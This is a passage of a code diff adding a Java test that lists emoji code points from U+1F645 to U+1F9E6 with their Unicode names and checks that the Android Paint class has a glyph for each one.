+        0x1F645, // FACE WITH NO GOOD GESTURE
+        0x1F646, // FACE WITH OK GESTURE
+        0x1F647, // PERSON BOWING DEEPLY
+        0x1F648, // SEE-NO-EVIL MONKEY
+        0x1F649, // HEAR-NO-EVIL MONKEY
+        0x1F64A, // SPEAK-NO-EVIL MONKEY
+        0x1F64B, // HAPPY PERSON RAISING ONE HAND
+        0x1F64C, // PERSON RAISING BOTH HANDS IN CELEBRATION
+        0x1F64D, // PERSON FROWNING
+        0x1F64E, // PERSON WITH POUTING FACE
+        0x1F64F, // PERSON WITH FOLDED HANDS
+        0x1F680, // ROCKET
+        0x1F681, // HELICOPTER
+        0x1F682, // STEAM LOCOMOTIVE
+        0x1F683, // RAILWAY CAR
+        0x1F684, // HIGH-SPEED TRAIN
+        0x1F685, // HIGH-SPEED TRAIN WITH BULLET NOSE
+        0x1F686, // TRAIN
+        0x1F687, // METRO
+        0x1F688, // LIGHT RAIL
+        0x1F689, // STATION
+        0x1F68A, // TRAM
+        0x1F68B, // TRAM CAR
+        0x1F68C, // BUS
+        0x1F68D, // ONCOMING BUS
+        0x1F68E, // TROLLEYBUS
+        0x1F68F, // BUS STOP
+        0x1F690, // MINIBUS
+        0x1F691, // AMBULANCE
+        0x1F692, // FIRE ENGINE
+        0x1F693, // POLICE CAR
+        0x1F694, // ONCOMING POLICE CAR
+        0x1F695, // TAXI
+        0x1F696, // ONCOMING TAXI
+        0x1F697, // AUTOMOBILE
+        0x1F698, // ONCOMING AUTOMOBILE
+        0x1F699, // RECREATIONAL VEHICLE
+        0x1F69A, // DELIVERY TRUCK
+        0x1F69B, // ARTICULATED LORRY
+        0x1F69C, // TRACTOR
+        0x1F69D, // MONORAIL
+        0x1F69E, // MOUNTAIN RAILWAY
+        0x1F69F, // SUSPENSION RAILWAY
+        0x1F6A0, // MOUNTAIN CABLEWAY
+        0x1F6A1, // AERIAL TRAMWAY
+        0x1F6A2, // SHIP
+        0x1F6A3, // ROWBOAT
+        0x1F6A4, // SPEEDBOAT
+        0x1F6A5, // HORIZONTAL TRAFFIC LIGHT
+        0x1F6A6, // VERTICAL TRAFFIC LIGHT
+        0x1F6A7, // CONSTRUCTION SIGN
+        0x1F6A8, // POLICE CARS REVOLVING LIGHT
+        0x1F6A9, // TRIANGULAR FLAG ON POST
+        0x1F6AA, // DOOR
+        0x1F6AB, // NO ENTRY SIGN
+        0x1F6AC, // SMOKING SYMBOL
+        0x1F6AD, // NO SMOKING SYMBOL
+        0x1F6AE, // PUT LITTER IN ITS PLACE SYMBOL
+        0x1F6AF, // DO NOT LITTER SYMBOL
+        0x1F6B0, // POTABLE WATER SYMBOL
+        0x1F6B1, // NON-POTABLE WATER SYMBOL
+        0x1F6B2, // BICYCLE
+        0x1F6B3, // NO BICYCLES
+        0x1F6B4, // BICYCLIST
+        0x1F6B5, // MOUNTAIN BICYCLIST
+        0x1F6B6, // PEDESTRIAN
+        0x1F6B7, // NO PEDESTRIANS
+        0x1F6B8, // CHILDREN CROSSING
+        0x1F6B9, // MENS SYMBOL
+        0x1F6BA, // WOMENS SYMBOL
+        0x1F6BB, // RESTROOM
+        0x1F6BC, // BABY SYMBOL
+        0x1F6BD, // TOILET
+        0x1F6BE, // WATER CLOSET
+        0x1F6BF, // SHOWER
+        0x1F6C0, // BATH
+        0x1F6C1, // BATHTUB
+        0x1F6C2, // PASSPORT CONTROL
+        0x1F6C3, // CUSTOMS
+        0x1F6C4, // BAGGAGE CLAIM
+        0x1F6C5, // LEFT LUGGAGE
+        0x1F6CB, // COUCH AND LAMP
+        0x1F6CC, // SLEEPING ACCOMMODATION
+        0x1F6CD, // SHOPPING BAGS
+        0x1F6CE, // BELLHOP BELL
+        0x1F6CF, // BED
+        0x1F6D0, // PLACE OF WORSHIP
+        0x1F6D1, // OCTAGONAL SIGN
+        0x1F6D2, // SHOPPING TROLLEY
+        0x1F6E0, // HAMMER AND WRENCH
+        0x1F6E1, // SHIELD
+        0x1F6E2, // OIL DRUM
+        0x1F6E3, // MOTORWAY
+        0x1F6E4, // RAILWAY TRACK
+        0x1F6E5, // MOTOR BOAT
+        0x1F6E9, // SMALL AIRPLANE
+        0x1F6EB, // AIRPLANE DEPARTURE
+        0x1F6EC, // AIRPLANE ARRIVING
+        0x1F6F0, // SATELLITE
+        0x1F6F3, // PASSENGER SHIP
+        0x1F6F4, // SCOOTER
+        0x1F6F5, // MOTOR SCOOTER
+        0x1F6F6, // CANOE
+        0x1F6F7, // SLED
+        0x1F6F8, // FLYING SAUCER
+        0x1F910, // ZIPPER-MOUTH FACE
+        0x1F911, // MONEY-MOUTH FACE
+        0x1F912, // FACE WITH THERMOMETER
+        0x1F913, // NERD FACE
+        0x1F914, // THINKING FACE
+        0x1F915, // FACE WITH HEAD-BANDAGE
+        0x1F916, // ROBOT FACE
+        0x1F917, // HUGGING FACE
+        0x1F918, // SIGN OF THE HORNS
+        0x1F919, // CALL ME HAND
+        0x1F91A, // RAISED BACK OF HAND
+        0x1F91B, // LEFT-FACING FIST
+        0x1F91C, // RIGHT-FACING FIST
+        0x1F91D, // HANDSHAKE
+        0x1F91E, // HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+        0x1F91F, // LOVE-YOU GESTURE
+        0x1F920, // FACE WITH COWBOY HAT
+        0x1F921, // CLOWN FACE
+        0x1F922, // NAUSEATED FACE
+        0x1F923, // ROLLING ON THE FLOOR LAUGHING
+        0x1F924, // DROOLING FACE
+        0x1F925, // LYING FACE
+        0x1F926, // FACE PALM
+        0x1F927, // SNEEZING FACE
+        0x1F928, // FACE WITH RAISED EYEBROW
+        0x1F929, // STAR-STRUCK
+        0x1F92A, // CRAZY FACE
+        0x1F92B, // SHUSHING FACE
+        0x1F92C, // FACE WITH SYMBOLS OVER MOUTH
+        0x1F92D, // FACE WITH HAND OVER MOUTH
+        0x1F92E, // FACE VOMITING
+        0x1F92F, // EXPLODING HEAD
+        0x1F930, // PREGNANT WOMAN
+        0x1F931, // BREAST-FEEDING
+        0x1F932, // PALMS UP TOGETHER
+        0x1F933, // SELFIE
+        0x1F934, // PRINCE
+        0x1F935, // MAN IN TUXEDO
+        0x1F936, // MOTHER CHRISTMAS
+        0x1F937, // SHRUG
+        0x1F938, // PERSON DOING CARTWHEEL
+        0x1F939, // JUGGLING
+        0x1F93A, // FENCER
+        0x1F93C, // WRESTLERS
+        0x1F93D, // WATER POLO
+        0x1F93E, // HANDBALL
+        0x1F940, // WILTED FLOWER
+        0x1F941, // DRUM WITH DRUMSTICKS
+        0x1F942, // CLINKING GLASSES
+        0x1F943, // TUMBLER GLASS
+        0x1F944, // SPOON
+        0x1F945, // GOAL NET
+        0x1F947, // FIRST PLACE MEDAL
+        0x1F948, // SECOND PLACE MEDAL
+        0x1F949, // THIRD PLACE MEDAL
+        0x1F94A, // BOXING GLOVE
+        0x1F94B, // MARTIAL ARTS UNIFORM
+        0x1F94C, // CURLING STONE
+        0x1F950, // CROISSANT
+        0x1F951, // AVOCADO
+        0x1F952, // CUCUMBER
+        0x1F953, // BACON
+        0x1F954, // POTATO
+        0x1F955, // CARROT
+        0x1F956, // BAGUETTE BREAD
+        0x1F957, // GREEN SALAD
+        0x1F958, // SHALLOW PAN OF FOOD
+        0x1F959, // STUFFED FLATBREAD
+        0x1F95A, // EGG
+        0x1F95B, // GLASS OF MILK
+        0x1F95C, // PEANUTS
+        0x1F95D, // KIWIFRUIT
+        0x1F95E, // PANCAKES
+        0x1F95F, // DUMPLING
+        0x1F960, // FORTUNE COOKIE
+        0x1F961, // TAKEOUT BOX
+        0x1F962, // CHOPSTICKS
+        0x1F963, // BOWL WITH SPOON
+        0x1F964, // CUP WITH STRAW
+        0x1F965, // COCONUT
+        0x1F966, // BROCCOLI
+        0x1F967, // PIE
+        0x1F968, // PRETZEL
+        0x1F969, // CUT OF MEAT
+        0x1F96A, // SANDWICH
+        0x1F96B, // CANNED FOOD
+        0x1F980, // CRAB
+        0x1F981, // LION FACE
+        0x1F982, // SCORPION
+        0x1F983, // TURKEY
+        0x1F984, // UNICORN FACE
+        0x1F985, // EAGLE
+        0x1F986, // DUCK
+        0x1F987, // BAT
+        0x1F988, // SHARK
+        0x1F989, // OWL
+        0x1F98A, // FOX FACE
+        0x1F98B, // BUTTERFLY
+        0x1F98C, // DEER
+        0x1F98D, // GORILLA
+        0x1F98E, // LIZARD
+        0x1F98F, // RHINOCEROS
+        0x1F990, // SHRIMP
+        0x1F991, // SQUID
+        0x1F992, // GIRAFFE
+        0x1F993, // ZEBRA
+        0x1F994, // HEDGEHOG
+        0x1F995, // SAUROPOD
+        0x1F996, // T-REX
+        0x1F997, // CRICKET
+        0x1F9C0, // CHEESE WEDGE
+        0x1F9D0, // FACE WITH MONOCLE
+        0x1F9D1, // ADULT
+        0x1F9D2, // CHILD
+        0x1F9D3, // OLDER ADULT
+        0x1F9D4, // BEARDED PERSON
+        0x1F9D5, // WOMAN WITH HEADSCARF
+        0x1F9D6, // PERSON IN STEAMY ROOM
+        0x1F9D7, // PERSON CLIMBING
+        0x1F9D8, // PERSON IN LOTUS POSITION
+        0x1F9D9, // MAGE
+        0x1F9DA, // FAIRY
+        0x1F9DB, // VAMPIRE
+        0x1F9DC, // MERPERSON
+        0x1F9DD, // ELF
+        0x1F9DE, // GENIE
+        0x1F9DF, // ZOMBIE
+        0x1F9E0, // BRAIN
+        0x1F9E1, // ORANGE HEART
+        0x1F9E2, // BILLED CAP
+        0x1F9E3, // SCARF
+        0x1F9E4, // GLOVES
+        0x1F9E5, // COAT
+        0x1F9E6, // SOCKS
+    };
+
+    @Test
+    public void testEmojiCoverage() {
+        final Paint paint = new Paint();
+        for (int cp : ALL_EMOJI) {
+            final String characterAsString = new String(Character.toChars(cp));
+            assertTrue(String.format("No glyph for U+%04X", cp), paint.hasGlyph(characterAsString));
+        }
+    }
 }